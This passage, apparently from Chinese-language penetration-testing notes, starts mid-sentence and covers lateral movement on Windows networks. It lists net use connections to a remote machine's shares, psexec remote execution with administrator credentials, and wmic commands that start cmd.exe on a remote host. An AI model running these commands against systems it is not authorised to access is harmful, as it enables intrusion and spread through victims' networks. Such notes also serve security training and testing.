辑共享(.,…和系统自录winnt或windows(admin)共享。所有的这些，微软的初衷都是为
了方便管理员的管理，但在有意无意中，导致了系统安全性的降低。

建立空连接命令

net share 查看本机共享
net use \\IP地址"密码" /user:用户名对其进行空连接
net use \\IP地址/del 删除空连接
net time \\IP地址查看机器时间

psexec 横向工具

微软提供的一种远程命令行工具
可直接用于对远程主机进行命令交互
psexec.exe -accepteula \\IP -u domain\administrator -p password command

wmic横向

wmic是一款Windows自带的工具集，
wmic /node: 192.168.200.10 /user:jack /password:a #连接后面拼接wmic命令
process call create“cmd.exe" #启动某一程序

process list brief #查看所有进程